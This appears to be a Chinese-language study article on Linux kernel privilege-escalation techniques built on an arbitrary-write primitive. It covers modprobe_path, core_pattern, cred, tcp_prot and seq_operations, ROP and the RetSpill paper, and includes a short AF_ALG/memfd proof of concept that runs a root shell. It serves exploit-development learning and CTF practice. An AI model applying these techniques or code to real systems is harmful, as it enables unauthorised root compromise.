任意地址写(AAW) #
modprobe_path #
sys_execve()
=> do_execve()
=> do_execveat_common()
=> bprm_execve()
=> exec_binprm()
=> search_binary_handler()
=> request_module()
=> __request_module()
=> call_modprobe()
=> call_usermodehelper_exec()
=> queue_work(call_usermodehelper_exec_work)
[ kworker ]
call_usermodehelper_exec_work()
=> call_usermodehelper_exec_sync()
=> call_usermodehelper_exec_async()
=> kernel_execve()
非法文件 #
利用条件:CONFIG_BINFMT_MISC=y
且 CONFIG_STATIC_USERMODEHELPER=n
若是我们能够劫持 modprobe_path
,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件(内核无法根据文件头识别文件信息),内核将会以 root 权限执行我们的恶意脚本。
流程示意如下:
// create fake modprobe_path file
root_script_fd = open(MAGIC_PATH, O_RDWR | O_CREAT);
write(root_script_fd, root_cmd, sizeof(root_cmd));
close(root_script_fd);
system("chmod +x " MAGIC_PATH);
// hijack modprobe_path
AAW(modprobe_path, MAGIC_PATH)
// trigger the exploit
puts("[*] trigerring fake modprobe_path...");
system("echo -e '\\xff\\xff\\xff\\xff' > /home/trigger");
system("chmod +x /home/trigger");
system("/home/trigger");
AF_ALG socket #
利用条件:CONFIG_STATIC_USERMODEHELPER=n
去年11月的 [/fs/exec.c-patch]/fs/exec.c-patch 补丁修改了search_binary_handler()
函数使其不再调用request_module()
,所以新版本内核中,无法通过执行非法文件来触发劫持控制流。
但内核中调用request_module()
的方式非常多,其中最符合利用需求的是AF_ALG
socket1。
AF_ALG
是一个基于套接字的接口,允许用户空间访问内核的加密API,但在此技术中,它被用于不调用任何加密功能。
当在这个套接字上调用bind()
时,它会触发alg_bind()
函数。这个函数会搜索与用户提供的sa->salg_type
[5]对应的类型,如果未找到,它会调用request_module()
[6]来尝试加载。
static const struct proto_ops alg_proto_ops = {
.family = PF_ALG,
.owner = THIS_MODULE,
...
.bind = alg_bind,
.release = af_alg_release,
.setsockopt = alg_setsockopt,
.accept = alg_accept,
};
static int alg_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len)
{
const u32 allowed = CRYPTO_ALG_KERN_DRIVER_ONLY;
struct sock *sk = sock->sk;
struct alg_sock *ask = alg_sk(sk);
struct sockaddr_alg_new *sa = (void *)uaddr;
const struct af_alg_type *type;
void *private;
int err;
...
sa->salg_type[sizeof(sa->salg_type) - 1] = 0;
sa->salg_name[addr_len - sizeof(*sa) - 1] = 0;
type = alg_get_type(sa->salg_type); // [5]
if (PTR_ERR(type) == -ENOENT) {
request_module("algif-%s", sa->salg_type); // [6]
type = alg_get_type(sa->salg_type);
}
也就是说,只要传递给sa->salg_type
的字符串是无效的加密类型,就会调用request_module()
。思路和执行非法文件比较类似。
PoC 如下:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MODPROBE_SCRIPT "#!/bin/sh\\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\\n"
int main(void)
{
char fake_modprobe[40] = {0};
struct sockaddr_alg sa;
pid_t pid = getpid();
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int shell_stdin_fd = dup(STDIN_FILENO);
int shell_stdout_fd = dup(STDOUT_FILENO);
dprintf(modprobe_script_fd, MODPROBE_SCRIPT, pid, shell_stdin_fd, pid, shell_stdout_fd);
snprintf(fake_modprobe, sizeof(fake_modprobe), "/proc/%i/fd/%i", pid, modprobe_script_fd);
// Overwriting modprobe_path with fake_modprobe here...
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (alg_fd < 0) {
perror("socket(AF_ALG) failed");
return 1;
}
memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "V4bel"); // dummy string
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));
return 0;
}
未知协议 socket #
利用条件:CONFIG_MODULES=y
且 CONFIG_STATIC_USERMODEHELPER=n
socket 指定未知协议也能够触发,从v6.16源码可以看到,创建sock
时若无法匹配指定的family
则会调用request_module
int __sock_create(struct net *net, int family, int type, int protocol,
struct socket **res, int kern)
{
...
#ifdef CONFIG_MODULES
/* Attempt to load a protocol module if the find failed.
*
* 12/09/1996 Marcin: But! this makes REALLY only sense, if the user
* requested real, full-featured networking support upon configuration.
* Otherwise module support will break!
*/
if (rcu_access_pointer(net_families[family]) == NULL)
request_module("net-pf-%d", family); // 这里调了request_module
#endif
可以发现AF_ALG socket
这种方法相比之下是更通用的。
n_tty_ops #
利用条件:
- 目标系统必须使用
n_tty
驱动(Linux 默认的伪终端驱动,适用于/dev/pts/X
或/dev/tty
)。 n_tty_ops
可写
图片出处已不可考
static struct tty_ldisc_ops n_tty_ops = {
.magic = TTY_LDISC_MAGIC,
.name = "n_tty",
.open = n_tty_open,
.close = n_tty_close,
.flush_buffer = n_tty_flush_buffer,
.read = n_tty_read,
.write = n_tty_write,
.ioctl = n_tty_ioctl,
.set_termios = n_tty_set_termios,
.poll = n_tty_poll,
.receive_buf = n_tty_receive_buf,
.write_wakeup = n_tty_write_wakeup,
.receive_buf2 = n_tty_receive_buf2,
};
劫持 n_tty_ops.read
构造 ROP chain,用 syscall read 触发 ROP,拿到权限后将其恢复,正常进行终端交互。
cred #
利用条件:定位cred
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
} __randomize_layout;
攻击的方式有两种2:
- 直接修改 cred 结构体的内容
- 修改 task_struct 结构体中的 cred 指针指向一个满足要求的 cred
网上大多说把 uid~fsgid 全置为0,实际上权限主要与 uid 和 euid 有关,这两个置为0就够了。当然只修改 uid 为0再在用户态设置 euid 也行。
RWCTF2022 Digging into kernel 1 & 2 这种 cred_jar
没有设置 SLAB_ACCOUNT
导致和题目的 slab 合并现在不太可能见到,利用方法是 fork 子进程修改其 cred。
tcp_prot #
利用条件:tcp_prot
可写
中文互联网似乎没人分析这种技巧,对tcp_prot
的利用技术最早被用于利用 CVE-2022-29582:
Even better, each
tls_context
has aproto
pointer totcp_prot
. This object has two awesome features. For one, its address is a constant offset from the kernel base. So reading out fieldsk_proto == &tcp_prot
means a way around KASLR. Further, it’s got a bunch of function pointers. So if we can forge a fakeproto
object then we’ve got the main ingredient for arbitrary code execution. As we might’ve guessed from the diagram, we are specifically going to targetgetsockopt()
.
tcp_prot
是 Linux 内核中用于定义 TCP 协议行为的结构体。该结构体既可以被用于泄露 kernel 地址,也可以被用于控制流劫持。一般是通过用户态调用setsockopt()
函数来触发tcp_prot->setsockopt
。
struct proto tcp_prot = {
.name = "TCP",
.owner = THIS_MODULE,
.close = tcp_close,
.pre_connect = tcp_v4_pre_connect,
.connect = tcp_v4_connect,
.disconnect = tcp_disconnect,
.accept = inet_csk_accept,
.ioctl = tcp_ioctl,
.init = tcp_v4_init_sock,
.destroy = tcp_v4_destroy_sock,
.shutdown = tcp_shutdown,
.setsockopt = tcp_setsockopt,
.getsockopt = tcp_getsockopt,
.bpf_bypass_getsockopt = tcp_bpf_bypass_getsockopt,
.keepalive = tcp_set_keepalive,
.recvmsg = tcp_recvmsg,
.sendmsg = tcp_sendmsg,
.sendpage = tcp_sendpage,
.backlog_rcv = tcp_v4_do_rcv,
.release_cb = tcp_release_cb,
.hash = inet_hash,
.unhash = inet_unhash,
.get_port = inet_csk_get_port,
.put_port = inet_put_port,
#ifdef CONFIG_BPF_SYSCALL
.psock_update_sk_prot = tcp_bpf_update_proto,
#endif
.enter_memory_pressure = tcp_enter_memory_pressure,
.leave_memory_pressure = tcp_leave_memory_pressure,
.stream_memory_free = tcp_stream_memory_free,
.sockets_allocated = &tcp_sockets_allocated,
.orphan_count = &tcp_orphan_count,
.memory_allocated = &tcp_memory_allocated,
.per_cpu_fw_alloc = &tcp_memory_per_cpu_fw_alloc,
.memory_pressure = &tcp_memory_pressure,
.sysctl_mem = sysctl_tcp_mem,
.sysctl_wmem_offset = offsetof(struct net, ipv4.sysctl_tcp_wmem),
.sysctl_rmem_offset = offsetof(struct net, ipv4.sysctl_tcp_rmem),
.max_header = MAX_TCP_HEADER,
.obj_size = sizeof(struct tcp_sock),
.slab_flags = SLAB_TYPESAFE_BY_RCU,
.twsk_prot = &tcp_timewait_sock_ops,
.rsk_prot = &tcp_request_sock_ops,
.h.hashinfo = NULL,
.no_autobind = true,
.diag_destroy = tcp_abort,
};
考虑如下代码:
int fd = socket(AF_INET, SOCK_STREAM, 0);
setsockopt(fd, SOL_TCP, TCP_ULP, fake_stack, 0x1337);
socket
函数是 socket
系统调用的封装,内核调用__sys_socket()
进行处理(本节所有 kernel 源代码取自v6.3.4),该函数调用__sys_socket_create()
:
int __sys_socket(int family, int type, int protocol)
{
struct socket *sock;
int flags;
sock = __sys_socket_create(family, type, protocol);
if (IS_ERR(sock))
return PTR_ERR(sock);
flags = type & ~SOCK_TYPE_MASK;
if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;
return sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK));
}
__sys_socket_create()
调用sock_create()
函数 -> __sock_create()
函数,根据协议族来创建 sock:
int __sock_create(struct net *net, int family, int type, int protocol,
struct socket **res, int kern)
{
int err;
struct socket *sock;
const struct net_proto_family *pf;
...
sock = sock_alloc(); // 分配 sock 结构体
sock->type = type;
...
pf = rcu_dereference(net_families[family]); // 获取协议族处理函数 (AF_INET -> inet_family_ops)
...
err = pf->create(net, sock, protocol, kern); // 调用 inet_create()
...
*res = sock;
return 0;
...
}
inet_create()
从inetsw
链表查找sock->type
对应的inet_protosw
结构体:
static int inet_create(struct net *net, struct socket *sock, int protocol,
int kern)
{
struct sock *sk;
struct inet_protosw *answer;
struct inet_sock *inet;
struct proto *answer_prot;
unsigned char answer_flags;
int try_loading_module = 0;
int err;
...
// 查找协议处理器 (SOCK_STREAM -> TCP)
list_for_each_entry_rcu(answer, &inetsw[sock->type], list) {
err = 0;
/* Check the non-wild match. */
if (protocol == answer->protocol) {
if (protocol != IPPROTO_IP)
break;
} else {
/* Check for the two wild cases. */
if (IPPROTO_IP == protocol) {
protocol = answer->protocol;
break;
}
if (IPPROTO_IP == answer->protocol)
break;
}
err = -EPROTONOSUPPORT;
}
...
// 设置socket操作函数表
sock->ops = answer->ops; // inet_stream_ops
answer_prot = answer->prot; // tcp_prot
answer_flags = answer->flags;
...
// 分配sock结构体,使用tcp_prot作为协议处理器
sk = sk_alloc(net, PF_INET, GFP_KERNEL, answer_prot, kern);
...
// 初始化socket与sock的关联
sock_init_data(sock, sk);
...
return err;
}
inet
初始化时,inet_init
调用inet_register_protosw
将静态数组inetsw_array
转化为了动态链表inetsw
:
static int __init inet_init(void)
{
...
for (r = &inetsw[0]; r < &inetsw[SOCK_MAX]; ++r)
INIT_LIST_HEAD(r); // 初始化每个链表头
/* Register the socket-side information for inet_create. */
for (q = inetsw_array; q < &inetsw_array[INETSW_ARRAY_LEN]; ++q)
inet_register_protosw(q); // 注册每个协议到对应链表
...
return 0;
}
void inet_register_protosw(struct inet_protosw *p)
{
struct list_head *lh;
struct inet_protosw *answer;
int protocol = p->protocol;
struct list_head *last_perm;
spin_lock_bh(&inetsw_lock);
...
// 根据socket类型选择对应的链表
last_perm = &inetsw[p->type];
...
// 将协议处理器添加到对应类型的链表中
list_add_rcu(&p->list, last_perm);
spin_unlock_bh(&inetsw_lock);
...
}
inetsw_array
如下所示:
static struct inet_protosw inetsw_array[] =
{
{
.type = SOCK_STREAM,
.protocol = IPPROTO_TCP,
.prot = &tcp_prot,
.ops = &inet_stream_ops,
.flags = INET_PROTOSW_PERMANENT |
INET_PROTOSW_ICSK,
},
{
.type = SOCK_DGRAM,
.protocol = IPPROTO_UDP,
.prot = &udp_prot,
.ops = &inet_dgram_ops,
.flags = INET_PROTOSW_PERMANENT,
},
{
.type = SOCK_DGRAM,
.protocol = IPPROTO_ICMP,
.prot = &ping_prot,
.ops = &inet_sockraw_ops,
.flags = INET_PROTOSW_REUSE,
},
{
.type = SOCK_RAW,
.protocol = IPPROTO_IP, /* wild card */
.prot = &raw_prot,
.ops = &inet_sockraw_ops,
.flags = INET_PROTOSW_REUSE,
}
};
之前创建sock
指定的type
为SOCK_STREAM
,因此对应这里的第一项,prot
为&tcp_prot
,ops
为&inet_stream_ops
。
static int inet_create(struct net *net, struct socket *sock, int protocol,
int kern)
{
...
// 设置socket操作函数表
sock->ops = answer->ops; // inet_stream_ops
answer_prot = answer->prot; // tcp_prot
answer_flags = answer->flags;
...
// 分配sock结构体,使用tcp_prot作为协议处理器
sk = sk_alloc(net, PF_INET, GFP_KERNEL, answer_prot, kern);
...
// 初始化socket与sock的关联
sock_init_data(sock, sk);
...
return err;
}
在调用sk_alloc()
分配结构体时,将&tcp_prot
赋给了sk->sk_prot
:
struct sock *sk_alloc(struct net *net, int family, gfp_t priority,
struct proto *prot, int kern)
{
struct sock *sk;
sk = sk_prot_alloc(prot, priority | __GFP_ZERO, family);
if (sk) {
sk->sk_family = family;
/*
* See comment in struct sock definition to understand
* why we need sk_prot_creator -acme
*/
sk->sk_prot = sk->sk_prot_creator = prot; // sk->sk_prot = prot (这里是tcp_prot)
sk->sk_kern_sock = kern;
sock_lock_init(sk);
sk->sk_net_refcnt = kern ? 0 : 1;
if (likely(sk->sk_net_refcnt)) {
get_net_track(net, &sk->ns_tracker, priority);
sock_inuse_add(net, 1);
} else {
__netns_tracker_alloc(net, &sk->ns_tracker,
false, priority);
}
sock_net_set(sk, net);
refcount_set(&sk->sk_wmem_alloc, 1);
mem_cgroup_sk_alloc(sk);
cgroup_sk_alloc(&sk->sk_cgrp_data);
sock_update_classid(&sk->sk_cgrp_data);
sock_update_netprioidx(&sk->sk_cgrp_data);
sk_tx_queue_clear(sk);
}
return sk;
}
用户态调用setsockopt()
库函数,实际是sys_setsockopt()
的封装。
__sys_setsockopt
函数处理该系统调用,源码如下:
int __sys_setsockopt(int fd, int level, int optname, char __user *user_optval,
int optlen)
{
sockptr_t optval = USER_SOCKPTR(user_optval);
char *kernel_optval = NULL;
int err, fput_needed;
struct socket *sock;
if (optlen < 0)
return -EINVAL;
sock = sockfd_lookup_light(fd, &err, &fput_needed);
if (!sock)
return err;
err = security_socket_setsockopt(sock, level, optname);
if (err)
goto out_put;
if (!in_compat_syscall())
err = BPF_CGROUP_RUN_PROG_SETSOCKOPT(sock->sk, &level, &optname,
user_optval, &optlen,
&kernel_optval);
if (err < 0)
goto out_put;
if (err > 0) {
err = 0;
goto out_put;
}
if (kernel_optval)
optval = KERNEL_SOCKPTR(kernel_optval);
if (level == SOL_SOCKET && !sock_use_custom_sol_socket(sock))
err = sock_setsockopt(sock, level, optname, optval, optlen);
else if (unlikely(!sock->ops->setsockopt))
err = -EOPNOTSUPP;
else
err = sock->ops->setsockopt(sock, level, optname, optval,
optlen);
kfree(kernel_optval);
out_put:
fput_light(sock->file, fput_needed);
return err;
}
如果 level != SOL_SOCKET
(比如 SOL_TCP
):调用 sock->ops->setsockopt()
。如果读者记忆力比较好,应该还记得这里的ops
是&inet_stream_ops
,这是调用sock
时由内核确定的。
inet_stream_ops
结构体如下,可以看到会调用sock_common_setsockopt
:
const struct proto_ops inet_stream_ops = {
.family = PF_INET,
.owner = THIS_MODULE,
.release = inet_release,
.bind = inet_bind,
.connect = inet_stream_connect,
.socketpair = sock_no_socketpair,
.accept = inet_accept,
.getname = inet_getname,
.poll = tcp_poll,
.ioctl = inet_ioctl,
.gettstamp = sock_gettstamp,
.listen = inet_listen,
.shutdown = inet_shutdown,
.setsockopt = sock_common_setsockopt,
.getsockopt = sock_common_getsockopt,
.sendmsg = inet_sendmsg,
.recvmsg = inet_recvmsg,
#ifdef CONFIG_MMU
.mmap = tcp_mmap,
#endif
.sendpage = inet_sendpage,
.splice_read = tcp_splice_read,
.read_sock = tcp_read_sock,
.read_skb = tcp_read_skb,
.sendmsg_locked = tcp_sendmsg_locked,
.sendpage_locked = tcp_sendpage_locked,
.peek_len = tcp_peek_len,
#ifdef CONFIG_COMPAT
.compat_ioctl = inet_compat_ioctl,
#endif
.set_rcvlowat = tcp_set_rcvlowat,
};
int sock_common_setsockopt(struct socket *sock, int level, int optname,
sockptr_t optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
/* IPV6_ADDRFORM can change sk->sk_prot under us. */
return READ_ONCE(sk->sk_prot)->setsockopt(sk, level, optname, optval, optlen);
}
可以看到最终是调用了sk->sk_prot->setsockopt
,而在我们讨论的情况下,sk_prot
就是&tcp_prot
。
总结一下,在我们讨论的这种情况下,用户态调用setsockopt()
会触发内核中tcp_prot->setsockopt
的调用。当我们修改此处指针后,用户态的const void *option_value
参数被保留,根据 System V ABI 调用约定,rcx 寄存器的内容被用户态控制。因此我们可以利用 rcx 来做 stack_pivot(在 CVE-2022-29582 例子里,用了mov rcx, rsp; mov rsp, rcx; pop rbx; pop rbp; ret;
这个gadget),方法是覆盖内核中的tcp_prot->setsockopt
为rcx相关的gadget,然后在用户态调用setsockopt
,option_value
参数指向伪造的栈。
这道题 AMD CPU 做不了,我没做
core_pattern #
利用条件:core_pattern
可写,SELinux 等未阻止core_pattern
管道执行。
core_pattern
是内核区域的一个全局变量,在程序异常退出后,内核会找到core_pattern
的值(默认是core)作为 core dump 的文件名存储进程崩溃时的信息用于调试。
core_pattern
的值为"|xxx.sh"时,触发一个程序的 coredump,就能让该脚本以root权限执行。
现代系统通过限制普通用户对 /proc/sys/kernel/core_pattern 的写权限(如使用 capabilities 或 SELinux)减少了风险,但是这种攻击方式仍被用于容器逃逸提权。
Ubuntu 中的 core_pattern
:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
WSL Ubuntu 中的 core_pattern
:
|/wsl-capture-crash %t %E %p %s
hijack prctl #
利用条件:poweroff_cmd
和task_prctl
可写
内核中的poweroff_work_func
函数会执行run_cmd(poweroff_cmd)
,把task_prctl
劫持到__orderly_poweroff
,然后篡改poweroff_cmd
为我们需要执行的二进制文件路径。接着调用prctl
,就会以root权限执行我们的二进制文件,从而提权。
vDSO(过时) #
利用条件:vDSO 可写
内核中 vDSO 的代码会被映射到所有的用户态进程中。如果有一个高特权的进程会周期性地调用 vDSO 中的函数,那我们可以考虑把 vDSO 中相应的函数修改为特定的 shellcode。当高权限的进程执行相应的代码时,我们就可以进行提权。
seq_operations 等非静态定义结构体 #
利用条件: 通过任何方式定位该结构体(如 kmalloc-32 UAF)
seq_operations
3是一个大小为0x20
的结构体,打开一个 stat 文件时(如 /proc/self/stat
)便会在内核空间中分配一个 seq_operations
结构体,该结构体定义于 /include/linux/seq_file.h
当中,只定义了四个函数指针,如下:
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
当我们read
一个stat
文件时,内核会调用proc_ops
的proc_read_iter
指针
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
struct seq_file *m = iocb->ki_filp->private_data;
//...
p = m->op->start(m, &m->index);
//...
即会调用seq_operations->start指针
,我们只需覆盖start
指针为特定gadget
,即可控制程序执行流。
其他有函数指针的非静态定义结构体:
- pipe_bufffer
- packet_sock
- sk_buff
- file
- …
任意文件写 #
/proc/sys/kernel/modprobe
对应modprobe_path
/proc/sys/kernel/core_pattern
对应core_pattern
init
,得能重启且不被重置/proc/<pid>/mem
root 权限进程注入有/etc
目录的话,passwd
,shadow
,ld.so.preload
,pam.d
,cron
,sudoers
…
ROP #
内核执行 commit_creds(prepare_kernel_cred(0))
或 或 commit_creds(&init_cred)
使进程获得root权限
返回用户态 #
swapgs
指令恢复用户态 GS 寄存器,sysretq
或者iretq
恢复到用户空间- KPTI(内核页表隔离) 开启,用
swapgs_restore_regs_and_return_to_usermode
- SMEP(阻止内核态代码执行来自用户空间的代码)开启,修改 CR4 寄存器的值:
cr4 = cr4 & ~(1 << 20);
第20位置零代表 SMEP 关闭 - 未开启 KPTI 时,还可用 ret2dir 直接利用
direct mapping area
来构造 ROP chain
栈迁移 #
pt_regs #
进行系统调用时,entry_SYSCALL_64
函数会将所有的寄存器压入内核栈上,形成一个 pt_regs
结构体,该结构体实质上位于内核栈底,定义如下:
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
在未启用RANDKSTACK
的内核中,该结构体和目标函数(被劫持)的栈帧之间的偏移量是固定的。
因此可以利用该结构体构造 ROP chain,然后通过 stack pivot gadget 跳过去。
利用 tcp_prot 的 rcx #
用这种方法做栈迁移实际也在 RetSpill 的实验中体现了。
RetSpill #
ASU sefcom Kyle Zeng 的一篇顶会4。基本思路是,在执行系统调用时,部分用户空间数据保存在内核堆栈中。
举例来说,poll
这个系统调用会调用copy_from_user
把用户态数据直接复制到内核栈上:
int do_sys_poll(...)
{
long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
struct poll_list *walk = (struct poll_list *)stack_pps;
// copy user space data onto kernel stack
copy_from_user(walk->entries, ufds, sizeof(walk->entries);
// invoke poll handler for each fd
pfd = walk->entries;
for(; ... ; pfd++) {
file = fdget(pfd).file;
file->f_op->poll(...);
}
...
}
如果攻击者控制了用户空间中的 file
object,当通过 file->f_op->poll
调用获取控制流劫持原语时,他们将控制内核堆栈上的 0x1e0 (论文工作中测试得到)字节。然后,攻击者可以栈迁移到这里。在poll
调用的生命周期内,堆栈上的数据是始终有效的。
RetSpill 的另一个思路是,exp 进程里的所有线程共享系统资源(包括内核堆里的victim object
),每一个线程都可以独立地执行 ROP chain(有不同的 task 上下文)。这样做的好处是可以稳定地重用控制流劫持。
RANDKSTACK
在函数栈帧和pt_regs
区域引入了一个随机的偏移,让pt_regs
方法更难利用了。但是对 RetSpill 的影响不是很大,例如poll
调用的用户态数据不受影响,因为这些数据在函数栈帧里。论文还提到,大多数 Linux 发行版都没有开启panic_on_oops
,因此可以在线程里不断爆破 pt_regs
和函数栈帧之间的偏移量。
FG-KASLR
,函数粒度的内核地址随机化也无法完全缓解 RetSpill(以及其他很多技术),因为内核中某些区域永远不会被随机化,包括 KPTI trampoline swapgs_restore_regs_and_return_to_usermode()
和内核符号表 ksymtab
等5。攻击者可以在位置无关的代码中寻找 ROP gadgets 来构造任意读原语,然后通过ksymtab
计算函数地址。
当然,作为学术论文,RetSpill 最具贡献的地方是实现了一个半自动化工具 IGNI,可以根据输入的 kernel image 生成一个 RetSpill 利用模板,大大降低了内核漏洞利用的门槛。
例题:corCTF 2021 Wall of Perdition